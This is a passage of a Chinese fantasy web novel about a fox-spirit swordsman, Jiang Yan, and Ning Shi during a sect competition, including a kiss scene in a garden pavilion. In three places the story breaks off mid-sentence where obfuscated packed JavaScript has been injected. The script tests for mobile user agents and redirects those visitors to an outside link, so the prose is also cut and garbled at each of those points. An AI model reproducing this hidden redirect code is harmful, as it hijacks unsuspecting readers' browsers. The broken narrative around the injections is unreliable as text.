他感觉自己像一堆水掺多了的面团,软绵绵地摊着。 比这全身席卷上来的热意更为糟糕的是,他的头顶和尾椎处,也微微痒着。 …… 比起身体上的不适,心理上的煎熬更为磨人。 江晏用他已经有些热迷糊的脑子想了想,认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029260|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为此事必须要瞒着宁时。 ——毕竟现在的宁时就时常对他动手动脚,若是让对方知道了自己此时的情况,那岂不是正遂了他心意? 若是再往下想,谁知道宁时会不会…… 江晏只是往这个方向轻轻一想,然后,他整个狐都不好了。 那种热意似乎变本加厉地卷上来,有点刺激,搞得他甚至有些想哭了。 他只好一边在心里大骂这具没用的身体,一边念着清心咒,看见窗外日光渐胜,终于是挨了过去。 也终于到了初试的最后一日。 这一天,宁时宁希早早起来收拾妥当,向着比试的地点走去了。 江晏刚刚经历了一整晚的煎熬,精神并不算好,身上依旧有轻微的难过。 但这毕竟是宁希的大事,他理应出席。 等何况,江晏明白,这种特殊事件途中,极容易发生意外,他并不放心只去宁时宁希二人。 ——他在这个世界里已经停留了二十余年,也不差这么一会儿的时间,如果真的在他离开的时候分魂出了什么意外…… 江晏想,他自己都不会原谅自己的。 片刻后,演武场上。 宁希已经前往会务组抽签,江晏依旧留在看台上,窝在宁时身边。 宁时收回来望着宁希的目光,看着他,带着轻微地疑惑:“我感觉你今天状态不太对劲。” 江晏:? 分魂比他想象中的要敏感,但此刻,他并不希望对方把敏感用在这种事情上。 所以他只是微微睁圆了眼,露出一副不明所以的模样:“啊,是怎么回事呢?我感觉挺好的。” 宁时依旧是看着他,默默下巴:“唔,就是感觉你今天似乎有些蔫,话也不多。” ——那这可就对了,江晏心想。 任谁难受了一个晚上,都不会看起来生龙活虎的吧! 但他也不好告诉宁时在自己身上发生了什么,于是最终只好摊了摊手,无所谓地扭过头。 但肩上却陡然一沉,有暖意从这里透过来。 江晏回头,只见宁时认真道:“有什么事了,一定和我说啊。” 江晏点头,心道这不算事,我自己可以解决的,就没必要让你知道了哈。 宁时却不知他想了什么,只是见他的回应乖巧可爱极了,便忍不住笑了,顺势拍了拍他的肩。 江晏:…… 刚刚宁时只是那么搭着手还好,可此时他一动作,于是那股暖意便越发明显起来。 江晏只觉得宁时碰过自己肩头的位置一片火热,甚至可以感到血管在皮肉下方有力跳动。 砰,砰,砰。 连带着他浑身上下的血管都在搏动。 他的手指,他的脖颈,他的胸口…… 全部都是热的,热中又带着一丝酥麻。 江晏僵着原地,艰难地吞咽了一口口水: 他单单以为在熬过的昨天那一阵子后,这属于狐狸精的特殊时期就已经过去了。 却不料,这事根本没完! 他被烧得头昏脑胀,只期盼身边的宁时要多看宁希少看狐狸——以免发现他的异状。 150. 最后的初试 最后这一场比赛,是要修士们抽签,每五人组成一队,共同前往宗门法宝产生的秘境中探险。 说来也巧,这探险任务是收集秘境中的兰冰莲,在规定时间之内,看哪一组收集的数目最多。 宁时望着任务木牌,目光停留在熟悉的三个字上,神色微动。 江晏见他如此,就连身上那种不适,也奇异地消失了一瞬: 他想,自己在这个世界中,一定要等到天山秘境开启,把宁时的热症治好了。 …… 在演武场上。 宁希和其他修士一样,已经是抽好签分了组,与同组的四人,一起进入了秘境中。 这四人中,有一位百炼门的男弟子,一位平海宗的男弟子,还有两位……千机阁的女弟子。 在经历了赵玉升的破事后,宁希等人简直听不得“千机阁”这几个字,起初望着分组名单,嘴角抽搐。 但赵玉升是赵玉升,千机阁旁人又是旁人,与此事无关。 宁希又迅速调整好心态,同组内几人说话去了。 而他们的动作,自然能被观众所见——演武场中央是一面巨大的水镜,直直冲着观众,方便他们看清里面的情况。 水镜中,又分成了密密麻麻的小画面,显示着各个已经进入秘境队伍的情况。 由于进入秘境时,传送地点是随机的,因此每个小屏上的画面有各不相同。 宁希这一组中,他们已经被传送到了一处小溪旁。 宁希抱着剑,听五人中间的一位女子讲话。 通过刚才所见,江晏已经知道了,此人是千机阁的唐拂。 她穿着一身鹅黄色的衣裙,看起来甚至有些书生气。 但此时站在人群中间,居然隐隐有了几分领导团队的势头。 只见她似是指了一个方向,口中道:“我们沿着这边走,应该能找到。” 众人纷纷点头,宁希也是睁大了眼睛,叹道:“唐姑娘,你好厉害啊,这也知道。” 唐拂看着她,微微一笑:“不过是平常爱读些乱七八糟的书罢了,只是碰巧知道兰冰莲的习性。” 众人不疑有他,沿着唐拂说的方向涉水而上,果然是找到了一朵开在石头缝中的兰冰莲。 这也是所有队伍中,第一只取得兰冰莲的队伍。 一时间,观众席上都爆发出来阵阵欢呼声。在场的各个宗门长老们也是纷纷侧目,看向宁希唐拂这一组。 此时,在一片喧嚣声中,宁时慢慢凑到江晏耳边,小声道:“原来兰冰莲看起来也并不好采,但我居然吃了那么多。” 江晏拍拍他的手,示意他放宽心:“没事,药材大部分都是从杏谷取的,他们这些医修,总归是比寻常修士更容易找到药材的。” 宁时微微点头,看着屏幕,片刻后又扭头对他道:“说起来,这位唐姑娘不是杏谷的人,居然还能对此物如此了解。” 他凑得有些近了,说话间呼出的热气就喷撒在江晏脖颈间。 江晏:…… 他感觉好不容易被自己压制下来的狐狸精的欲望,又开始蠢蠢欲动了。 他几乎是下意识地用自己的手背蹭了下脸,试图降温,一边回答:“嗯,证明了书看多了自然是有好处的。” ——这话他说得真心实意,毕竟剑修认为,如果自己从前能多看几本关于妖修的书,此时便大可不必忍受这发热的折磨。 演武场上的屏幕中,也有其他小组,陆陆续续取到了属于自己队伍的第一朵兰冰莲。 而这时,宁希唐拂那一组,已经在寻找第三朵的途中了。 江晏一边忍耐着身上的异状,一边看着,试图转移注意力来减少几分身上的痛苦。 就在这时,他意识海中的啾啾又说话了。 啾啾道:“我要和你说个事……这个世界不愧全员是主角,我真的服了,到哪都能遇到主角。” 江晏想了想,随口道:“说的是唐拂吧,毕竟她这个收集速度已经超出其他组太多了,宁希和她一起,真的是占便宜。” 啾啾点头:“你说得不错。” 江晏骄傲了:“那当然了,也不想想我可是谁啊。” 啾啾:“你是一只正处于不可描述时期的狐狸精。” 江晏:…… 哪壶不开提哪壶,他垮了脸,伸手要去抓啾啾。 啾啾快速扇动翅膀飞起,道:“我开玩笑的!好好好,不说这个了,”它话锋一转,“我们继续说唐拂的事!” 江晏斜眼看着它:“那你好好说说,唐姑娘是哪种主角剧本?” 啾啾:“呃,这个情况真的很特殊呢。” “要不你先猜猜?” 江晏回忆了遍他从前看过的各式各样的故事:“那种过目不忘的修炼奇才?话本里都是这么写的。” 啾啾:“有关的只有两个字。” 江晏:? 他的大脑在被狐狸精产生的热气蒸着,连带着整个人也慵懒了,江晏对啾啾道:“不猜了,头晕。” 啾啾见他如此,也不卖关子了,直接说:“唐拂是给这个世界写话本的人。” 江晏:? 他震惊了:“不是,你的意思是……” 啾啾:“我检测到了她的气息,这也是个倒霉孩子——要么说这个世界不稳定呢,她穿到她自己写的乱七八糟的故事里了。” “要不然,她怎么会对兰冰莲的生长条件这么了解?” 江晏:…… 他沉默片刻,最终抓住了重点:“所以说,宁希之前莫名其妙遇到的那个故事,”江晏伸手一指,指向那鹅黄色的身影,“是她写的?” 啾啾:“嗯呐,你先不要生气。” “这倒霉孩子写了好几个版本的故事,不止有宁希所见的那个版本。” 江晏听了,突然抬起头来问:“那我们在这个世界里所做的一切,不会也就是她笔下的另一个版本吧。” 啾啾摊翅:“这是不可能的。” “还是那句话——这个世界因为种种冲突崩塌过一次,很不稳定了,现在的世界线已经是随机的了。” “每个人所做的每一个选择,都会变成新的世界。” 这段话江晏听明白了,他放心不少,继续看着宁希一组人比赛。 现在比赛到了尾声,在演武场上诸位长老面前,依次点燃的三炷香,只剩下了最后半柱。 这也意味着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034277|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等这半截香燃尽后,就到了比较各组取得兰冰莲数目的时候了。 其他组不知道,但宁希所在的那组,江晏看得清清楚楚,每个人手中都有一朵兰冰莲,均匀极了。 这个数量,必然是稳了。 江晏呼出一口热气——宁希这边的事情算即将有了结果,但他身体上不妙的症状,却加重了。 他几乎是无意识地皱着眉,蜷缩在椅子上,漫无目的地看着远处的水镜屏幕。 而这种异状终于是被摸到了他的手的宁时发现了。 宁时的眼睛一瞬间睁大了,他又凑到江晏耳边,问:“彤云,你不会生病了吧,手好热。” 说罢,自己换了一只手,又去拉江晏另外一只手来试探温度。 江晏:…… 他试图挣扎了一下,完全无用。 而宁时已经捞过来他的右手,惊道:“怎么会这么热!” 江晏被他捏来捏去,又被他说话间的吐息吹着,一时间感觉身上的情况更加不好了。 他便有气无力地推了对方一下:“没事,我很好的。” 想了想,还是加了句:“哦,还有你先别碰我。” 他若是只说前半句还好,宁时本欲松开他去请医师,但听了后半句,却把他的手捏得更紧了。 江晏:? 他费力地看了眼宁时,用眼神表达出自己的疑惑:你在做什么? 而宁时的目光在他身上上上下下扫了几遍,最终停留在他有些潮红的脸颊上了。 江晏对上了他的双目,突然感觉……分魂此刻的眼神不太对。 只见宁时眼珠转了转,支吾了两声后,最终很小声很小声地问他:“是狐狸特殊时期的原因吗?” 江晏:! 他没想到宁时居然一下子就猜中了真相,一时间震惊到失言,只是看着对方。 宁时在说完刚才那句话后,整个人也慢慢变红了,从脸红到了耳朵尖。 此时又被江晏盯着,更是不好意思了,伸手抵住下巴,解释道:“我后面读过很多关于妖修的书。” 江晏:…… 所以还是从书上看的对吧。 果然书读多了有好处。 江晏想——宁时作为一名人类修士,居然比他自己还要了解狐狸的身体! 宁时看了眼演武场,又看了眼他,继续道:“我看你的样子,不太妙。” 他点了点自己的脸,说:“脸都红了……要么,我先把你带回去?宁希那边反正也快要结束了,她这么大的人了,会自己回来的。” 江晏本欲拒绝,想再坚持一下。 但就在此刻,一阵更为凶猛的热意席卷了全身。 江晏紧紧抿着嘴,坐在原地,而宁时就在旁边看着他。 在这种情况下,剑修不得不承认,分魂刚刚的提议,也许是一个很好的选择了。 演武场上人多眼杂,保不齐就有人能看出他的不对劲,发现他的身份。 江晏想了想,最终还是冲宁时点头:“可以。” 宁时长呼出一口气,对他伸出一只手来: “那我们现在就回住处。” “可以走吗?需要我扶着你吗?” 151. 用贴贴缓解不适 由于观众席上的弟子们太多了,因此并没有人注意到江晏和宁时的离席。 两人就这样走在了通往住处的路上。 由于这边的山头住下的大都是来参加初试的各大门派,此时他们多数又在演武场观战,因此他们回程的这一路上,居然安静极了,连人影都没碰到两个。 这固然不错,但江晏的情况却不怎么美妙了: 要不是宁时拉着他,他只怕已经是摔在了地上。 可又分明有一股热气,从宁时拉着他的地方,源源不断的顺着胳膊上涌。 江晏:…… 这个场面荒唐到他已经放弃思考,因为一思考就会尴尬。 在这种心理下,他表现地空前乖巧,完全是一只乖狐狸了。 宁时拖着他,路过了一处小花园。 由于这位悬水宫的长公子,依旧不能正常使用灵力,因此这一路来,他完全是凭肉身的力量托着他的小狐狸的。 前几日的比赛时经过这段路程,是有平海宗专门安排的接驳飞剑的。 但此时,他只能凭自己的双腿走过这段不算近的路。 即便已经是秋季,但阳光依旧很好,晒在身上暖洋洋的,但如果加上活动,这种暖洋洋也就变成了热。 宁时抬起一只空闲的手,抹了把额头上的汗。 又低下头来,轻声对江晏说:“走了一半了,我们在这里坐一会儿吧。” 江晏闻言,掀起眼皮扫视一圈周围,见此地确实是一个静悄悄的小花园,未见一人,便点点头。 宁时便和他坐在一处小亭的石椅上。 这里环境不错,有不知名的植物顺着亭子里几根柱子向上爬,又在亭子顶端结成了一张大网,还没有落掉的叶子被日光晒得反射着绿色的油光。 而在亭子唯一开口的地方,正对着一面花墙。 刚刚宁时就是带着他从这面花墙前绕过来的。 这花墙也是极高,居然有近一丈,上面开满了深深浅浅粉色的月季,又夹杂着牵牛花之类柔软的植物,形成了一道铺天盖地的阴影,连带着让对面亭子中的温度也凉快了几分。 江晏坐在此地,确实感觉身上略微舒服了一些。 草木和花香混杂在一起,直往他的鼻子里钻,连带着神志也清明几分,江晏终于有了说话的想法。 他靠着身后的柱子,对宁时道:“不如我们在此地多停留一会儿,等我好一点,能正常使用灵力后,把你带回去。” 宁时听了他的话,却大惊,瞬间直起身子凑到他面前,双手捧住狐狸脸,正色道:“彤云……你真的是烧糊涂了。” 江晏:? 宁时皱着眉,向四周看了看,又扭回头来对着他压低了声音说:“你忘啦,你的灵力……和我们不一样。” 江晏的反应弧已经在源源不断的热意中被蒸腾得漫长,宁时的声音传进他的脑子中,转了好几个圈,江晏这才意识到: 剑修在这个世界不是剑修,他是一只身份见不得人的妖狐。 人在不舒服时会变得脆弱,江晏突然开始委屈了——自己明明是个风光霁月的剑修,但到了这个世界,不但没了剑和修为,就连身份也要隐瞒着。 他有些委屈地哼唧了一声,看着宁时。 他并不知道自己现在的这副样子在对方眼中是什么神态。 宁时只见自己的小狐狸委委屈屈地缩着,两颊和鼻头都微微泛红,眼睛中似乎还带着水光。 宁时:…… 他的一颗心脏在胸膛中跳着,说不清的情绪蔓延上来。 有细碎的日光透过花墙间隙,落到了小狐狸身上,于是小狐狸的头发色好像也在发光。 宁时看着他,缓缓靠了过来。 宁时感觉自己可能也被狐狸精传染了,脑袋里同样昏昏胀胀的。 他晕晕地想,从前自己看过的那些册子上,是说可以用什么样的手段帮狐狸精度过这段时期的呢? …… 他终于贴到了自己的小狐狸身边,顺便把自己的下巴放在了对方的锁骨处。 而江晏感受到了他的动作,微微一震,却是慢慢伸出手来,搭上了他的肩。 剑修的脑子中也是一锅热气腾腾的糨糊粥,他本来想问啾啾,面对这种前所未见的情况,自己应该怎么办。 但早已察觉到不对劲的啾啾已经再次开启了屏蔽模式,寻不到踪迹了。 于是这天地间便只剩下了他自己和宁时。 宁时依旧是贴着他,整个人都热乎乎的,也分辨不出来两人谁更热了。 江晏看着他漆黑的头顶,思绪纷杂,往事在翻涌。 他已经知道了分魂的人生,也找到了自己从前丢失的记忆。 江晏想,如果从前在何家的那一场意外中,宁时没有跑出来,自己现在也就不会抱着这个有温度的人了。 或者再早一点,他在一场大雪中死去。 亦或者再晚一点,他放弃了学业、他在那个无限流游戏中死掉…… 人生的道路分出无数个小岔口,任何一个微小的偏移,可能让他们不再相见。 但庆幸的是,如今的宁时安安静静地窝在他颈间。 两个人呼吸相闻,长发缠绕。 就像很多很多年以前,他们没有分开时那样。 江晏的呼吸急促了几分。 他想,我和分魂本来就是在一起的。 我们要死也会死在一起。 世界上不会有比这更加亲密的关系了。 所以……和分魂做点什么,也没什么问题的吧。 他一面想着,一面不由自主的侧过了脸,去寻找着宁时吐息着热气的源头。 而宁时察觉了他的动作,并没有拒绝。 于是俩人就这样贴在了一起。 江晏在迷迷糊糊中想,分魂这个身体不错,口感软软的…… 然后唇上传来轻微地刺痛,是宁时不轻不重地咬了他一下。 江晏不满了——这人怎么还能咬人呢? 到底谁才是狐狸! 他不甘示弱,咬了回去。 于是事情便走向了不可控制的开端。 天旋地转间,江晏只能看到头顶的日光在浮动。 片刻后,宁时终于放开了他,干咳一声,直起身子,规规矩矩地坐在旁边,两手放在膝上。 江晏:…… 他依旧是恍惚的,带着轻微的气喘。 宁时望着他,却是又凑了过来,小声接连唤了他几声“彤云”。 江晏堪堪回过神来,并终于意识到自己方才做了什么。 他沉默了。 宁时支吾了一声,抬起手来指了指他的头顶,道:“那个,耳朵出来了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037507|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说罢,又向他身后看了一眼:“尾巴也是。” 江晏:! 他被这两句话惊到了,大脑一瞬间恢复了正常运转,抬起手便摸向头顶。 ……软软的,毛茸茸的狐耳从头发间顶了出来,直棱棱地竖着,并此时随着主人的心情微微转向了宁时的方向。 宁时脸上强做镇定的表情抖了一下,这有点太可爱了,他甚至有些舍不得自己的小狐狸把耳朵收回去了。 而他面前,江晏检查完自己的头顶之后,便伸手摸向身后。 果然,一条巨大的狐狸尾巴已经把衣服顶起的一个弧度,尾端垂着,在衣服的末端读出了若隐若现的一截红色。 这截红色还轻微地左右摇摆着,并朝着宁时的脚踝缠了过去。 江晏:…… 尾巴好像有些不受他控制,他毅然决然地弯下身子,一把按住了自己的尾巴! 等待着狐狸尾巴缠上自己的宁时:…… 他看着自己的小狐狸,见他脸色微微发红,也知道是对方不好意思了,便收回心思,只是看着他默默把自己的尾巴捞起来取走。 于是片刻后,江晏抱着自己的尾巴,和宁时面对而坐。 江晏扶额,回想起刚才的事,确实是自己主动的,这是千真万确推脱不能的。 他张了张口,不知道自己要说些什么。 在这个世界里,他不是剑修,只是一只妖狐。 和宁时人类修士的身份,隔着一条巨大的鸿沟。 他们是不可能的。 江晏开始头疼了——亲也亲过了,后面可怎么办呢? 而宁时终于先开口了,他眼底似乎闪动着什么,但语气却真诚极了:“彤云,这样之后,是不是感觉身上好了一些?” 江晏:…… 虽然非常不想承认,但刚刚还在他身体里烧成一团的热意已经消失了。 他点了点头。 宁时见了,似乎得到了什么鼓励,又道:“不过我看书上说,狐狸精总会遇到这种事情的,”他离江晏近了些,“以后我也这样帮你吧。” 江晏一时间怀疑自己的耳朵出问题了——这话听起来像是名门长公子能说出来的吗? 怎么听都是要占他便宜的意思。 他的狐耳不安地动了动。 但宁时继续说着:“彤云最好了,一直都陪在我身边。” “我可以把一切都放心地说给彤云。” “彤云也只有我了。” “我们要一直在一起的。” 江晏一时间难以对他的话做出评价。 他感觉这个世界的宁时,可能在长期的病症中,被弄的……有点变态了。 这些情话,细听起来居然有一种浓浓的偏执味,犹如冰凉的蟒蛇鳞片刮过全身。 竟是和原世界那个胜意门门主,有些像了。 ……但这都无所谓,江晏想。 反正分魂本质上和自己是一个人。 爱上自己,人之常情。 于是他在宁时直白的目光中,点了点头。 又用灵力收起了自己的狐耳狐尾。 宁时见他点头,嘴边也勾起一个笑,拉着他起身离开凉亭,继续向住处走去。 二人渐渐走远了,背影越来越小。 而凉亭处花墙的另一边,有花枝摇曳,似乎有人悄悄离开了。 152. 初试结束 路上,江晏拉了拉宁时的衣袖:“现在我已经好了很多,不如我们还是回到演武场吧。” 宁时却依旧有些忧虑的样子:“只是你……” 江晏:“无事,况且宁希那边应该就快散场了,她看不到我们,怕是会多想。” 这番话也是有道理,况且二人此时处在演武场和住处的中间,宁时略一思索,最终还是同江晏一起回到了场上。 此时已经距离他们离开时,那剩余的半炷香烧完有一会儿了,比赛结束,但众人都未曾离去,依旧是密密麻麻的。 宁时和江晏又挤开人群,回到了自己的座位上,果然看到旁边也坐着一个宁希。 宁希见这二人回来了,不由得挑了挑眉:“你们两个刚刚去哪里了?” 江晏不吭声,宁时却摆摆手:“只是人多,和彤云出去透了几口气——你们最后结果怎么样?” 宁希:“当然毫无疑问地是第一啊,小组的成绩已经公布了呢。” “说起来,那位唐姑娘,真的很厉害呢……” 初试所有的科目已经比试完毕,这小姑娘的成绩都不错,她已经预料到了能成功入选的结果,连带着语气也比前几日畅快了不少。 半个月前在飞船上紧张到听不清她哥说话的样子,已经消失了。 而在台上,各个宗门的长老们聚在一起,终于是商议完毕,有了结果。 于是演武场上那随着比赛结束已经黯淡下去的水镜,陡然一亮! 只见上面依次显示出了通过初试的弟子名单。 宁希眼睛一下子亮了,她瞪大眼睛,在这串长长的名单上扫来扫去,很快就见到了自己的名字。 她眉眼弯弯,并顺手锤了她亲哥一拳:“还记得你说要给我买什么吗?” 宁时也笑:“好了,好了,希希真厉害——三月铺是吧,好说。” 他们这边洋溢着入选的喜悦,演武场上,和他们相隔较远的另一边,观众席上似乎传来了什么骚动。 一时间,所有人的目光都移了过去。 台上的长老见了,抬了抬手,于是一种并不浓重的威压弥漫开来。 虽然不足以让人难以行动,但依旧能明显感知到。 演武场上瞬间安静了,只听得到长老的声音好似从空中四面八方传来: “对比试结果有何不满,可以现场当面提出,但请不要大声喧哗。” 说罢,这股威压撤去,场上的小修士们齐齐打了个机灵。 只见刚刚骚动的地方安静的片刻,终于是一名白衣修士站了起来。 他衣带是浅蓝色的,看起来居然还是平海宗的人。 只见他面上似有焦急和忿忿,开口便道:“长老,我要揭发一件事!” 江晏听他这么讲,不知为何,眉心竟是跳了跳。 他不动声色的抬起手来,按了按额头,一面心道自己是心虚,一面又拿眼睛偷偷瞄宁时。 ……然后他的目光和宁时对上了。 在经历了刚刚那一出后,宁时看起来也对“把妖狐带出来”一事有点心虚,他面色微僵,却还是用口型做了几个字。 江晏读懂了,他在说: 没事的,彤云。 活了不知道比他多多少年的江晏:…… 分魂完全不会安慰人呢。 但他也并不需要分魂安慰,只是从衣袖下面伸出一只手,拉着宁时,又去听着这位弟子能说出些什么来。 只听台上长老道:“不得胡言乱语,你这是何意?” 修士挨了长老这句不轻不重的数落后,便换了个措辞,缓声道:“长老,弟子只是对这个结果有疑问。” 他抬手指了指名单,道:“刚才在秘境中,我们组明明已经取得了三朵兰冰莲,却未能入选。” “而我见到,”他还顾四周,“有的组才取得了俩朵,甚至是一朵兰冰莲,却被允许通过了初试,进入了会试名单!” 他终究还是难以抑制情绪了:“弟子不知道这是为何!” 他这边言辞激烈,江晏却缓缓放下心来,也轻轻放开了一点握着宁时的手。 然后就被宁时更紧地捏了回去。 江晏:? 他有点搞不明白分魂这有些幼稚的行为是为何,只是抬头震惊地看着对方。 宁时对他眯了眯眼,又用口型说道: 没关系,旁人也看不到的。 江晏:…… 在经历了原世界线中分魂的见闻后,江晏感觉自己对宁时的容忍度提升了很多。 此时见对方这样巴巴地拉着自己,又说出了这种话,一下子心软了。 他面上不显,只是扭过头去,却未甩开宁时的手。 在他看不见的地方,宁时对着他的侧脸,轻轻勾了下嘴角。 他们间的这番互动隐秘极了,就连坐在身边的宁希也没有注意到——她如同在场的任何一位修士一般,正看向演武场台上的长老。 长老听了刚才修士所说的那番话,眉头皱了起来。 他扬声道:“你们刚才在秘境中的所作所为,还当我不知道吗?” 此话一出,那修士的脸色僵了几分。 而场下更多人却窃窃私语起来——由于初试中分成的小队太多了,即便水镜屏幕上都显示着现场的图像,也有不少人的动作没有被捕捉到。 若是这名修士收回了心思,就此作罢,事情还好收场,可他眼珠转了两圈,开口说出的却是:“长老,此事我可以解释!您是不是看错了!” 他这话一出,刚才还议论纷纷的演武场上瞬间安静了。 众人纷纷把目光投向长老。 长老终于是动了怒,他气沉丹田,以在场所有人都能听到的声音道: “你们和其他组相遇,仅仅是担心对方超过你们,就随手给对方下了一个阵法,让他们在原地兜圈子。” “一个组五个人,你们居然全同意了这种做法。” “没有入选,不冤。” 长老说完这番话后,大手一挥,水镜就此消散。 他站起身来,道:“初试已经就此结束。” “各位远道而来,明日午时会在恒阳峰上举行宴席,既是庆祝,也是告别。” “未通过的弟子们,在宴席过后便可启程回到宗门。不必心急,下一轮的比试还等着你们。” 长老停了停,又道:“由于初试和会试相隔时间并不长,入选的弟子们,可以在此地留宿至会试结束。” 说罢,带给一群负责会 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“它和我的生活并没有什么关系,正如我和谢乘风、赵玉升也没有什么关系一样。” “我就是我自己。” 她这一番话,江晏也听到了,他笑着用胳膊撞了下宁时:“你真的好操心诶,人家孩子这么懂事呢。” 宁时也对他撞了回去,口中道:“还不是你们让我不省心。” 这话如果稍微一想,就有些意思了——毕竟江晏在悬水宫,通过他的主观努力,其实是没什么存在感的,一直以来很低调很让人省心。 但此时宁时说了“你们”…… 宁希眨巴眨巴眼睛,直觉告诉她,在她这两个哥哥离席的时候,一定发生了什么她不知道的事情。 而这件事情,可能还稍微有点麻烦,以至于得到了宁时下意识地说出“不省心”这个评价。 于是宁希就凑近了,对她亲哥道:“哥,你说我不上心也就算了,胡哥哥怎么会呢,你可别冤枉人家。” 宁时:…… 江晏:…… 两人对视一眼,脑海中都不约而同想起了刚刚在凉亭中的画面,微微耳热,又迅速地别开了目光。 他们的动作自然是没逃过宁希的眼睛,她奇道:“你们是不是有事瞒着我?” 江晏干咳一声,想到刚才的画面,决定要把此事捂死,便说:“无事。” 在悬水宫中,宁时常常同宁希斗嘴,而江晏在身份上和宁希隔了一层,和她相处时,不像宁时那样开玩笑。 故宁希得了他的回答后,将信将疑地又看了宁时一眼,却是没有再追问了。 在她身后,宁时低低地叹了口气,对江晏笑道:“彤云,妹妹更信任你啊。” 江晏推了他一把:“谁让你总没事逗她玩的。” …… 众人嘻嘻闹闹,回到了住处安顿下来。 明月东升,江晏也凑到宁时身边,睡了一个安稳觉——没有难以启齿地发热,没有狐耳,没有狐尾。 看来宁时对他的安抚的确起了作用。 一夜过后,窗外天光渐胜,终于是到了前往恒阳峰的时间了。 153. 宴席中计 平海宗这场宴会,设在恒阳峰的室外一处竹园里。 此地环境雅致,除了郁郁葱葱的修竹,还有小桥流水,九曲回廊,场地更是宽阔,足够容纳这些弟子们。 至于座位次序,并没有什么讲究,只是中间设了几把椅子,并沿着地形排开其他座位。宁时拉着江晏,和宁希一起,坐在了并不算靠近主位的位置上。 他们这处头顶是一棵巨松,树冠挡在头顶,便更加凉快了,呼吸间也能隐约闻到松针的气息。 修士们陆陆续续地来了,挑选着位置坐下。而上面的一排座位,也来了各个门派作为代表的长老。 有平海宗的王长老,就是昨日比赛中,取消了那位年轻修士参加会试资格的长老。 还有平海宗恒阳峰的峰主,田峰主;千机阁的赵长老,百炼门的李长老,悬水宫的童长老等人。 在这些长老或峰主的身侧,也坐了一些修士,看起来年龄比他们这些参加初试的弟子们略大,估计是来协助师傅处理会务事宜的。 随着一声钟响,这次的宴席便正式开始了。 修士们的座位设在溪水两边,从宴席这边望向溪水的另一头,只见远远飘过来了什么东西。 众人定睛看去,只见是一份又一份的食盒,接连不断地被送到面前,供修士们取用。 在场许多修士们并未见过这种形式,一时间场上的赞叹声不绝于耳。 田峰主对王长老笑道:“这是我们廖重明的主意,这孩子总能弄出一些新鲜事。” 在他身后,一位相貌是青年的修士站起身来,鞠了一躬。 他动作间,江晏看见了他身旁的几位修士,不由得微微一愣: 谢乘风和慕青也在其中。 这两人一个望着台下,一副大师兄的做派,另一个则是微低着头。 江晏看不清慕青的表情,只觉得她……好像在对着面前食盒发呆。 他正欲仔细看去,前面这几位长老又动了动,把他们的身形遮挡的严严实实了。 江晏便收回视线,看向身旁的宁时宁希。 这两人已经像在场的诸多弟子一样,打开了自己的食盒。 宁时察觉到江晏的目光,抬起头看了他一眼,伸出手来,极为自然地也打开了他的食盒,又从中一一取出菜品,最后拿起一双筷子,放到他手里,道:“吃吧” 江晏低头,望着面前已经被贴心摆好地各式菜肴,沉默了。 他刚才的眼神明明不是这个意思的……但是宁时的动作未免也太自然了吧! 他又回头看着宁时,对上了一双明亮的眼。 江晏:…… 他突然之间就有一点不好意思了,小声说了句“谢谢”,又道:“我又不是小朋友了。” 宁时挑眉,望着他。 虽然对方一言未发,但江晏依旧读懂了他的眼神。 宁时用目光在说: 彤云在我这里就是小狐狸,小朋友。 江晏:…… 不知是不是他的错觉,他总觉得宁时在对自己干出那番事情之后,更加黏糊了。 他在宁时目光的注视下,夹起一筷山鸡肉,送进嘴里。 这场宴席,和江晏想象中并不相同。 他所预想的,是有些类似从前在合江宗广华殿中的景象,众人严格按照座次落座,在规定的时间内走动交流。 但平海宗这次宴席一经宣布,许多弟子再吃了几口饭菜后,便已经坐不住了,四下溜达起来,携着友人,去找自己熟识的伙伴们。 一时间,竹林中好不热闹。 宁时身体不太好,江晏边陪他在原地坐着,看着眼前来来往往的人群。 他们不去找别人,但已经有弟子找过来了。 先是唐拂带着组队的成员一起到了宁希面前说了几句话,再后来,竟是宋游也过来了。 宁时指了指台上的几位长老,问他:“你的师兄师姐都在那边坐着,你不在上面吗?” 宋游摸摸后脑勺,笑了:“他们都不参加初试和会试,是以恒阳峰弟子的身份过来的,我就和你们坐在一起就好。” 宁时点点头。 宋游坐在宁时和宁希旁边,说了几句话,眼神却不停的往台上瞄。 江晏顺着他的视线看过去,便看到了……慕青。 她显然已经过了辟谷的时期,对着一桌子菜,有一口没一口地吃着。 江晏忍不住道:“你要想陪着你师姐,就上去嘛。” 宋游却大惊,眼睛瞪圆了:“不是,你们怎么知道的?” 宁时也轻笑一声:“你的眼神太明显了。” 宋游讪讪地应了一声。 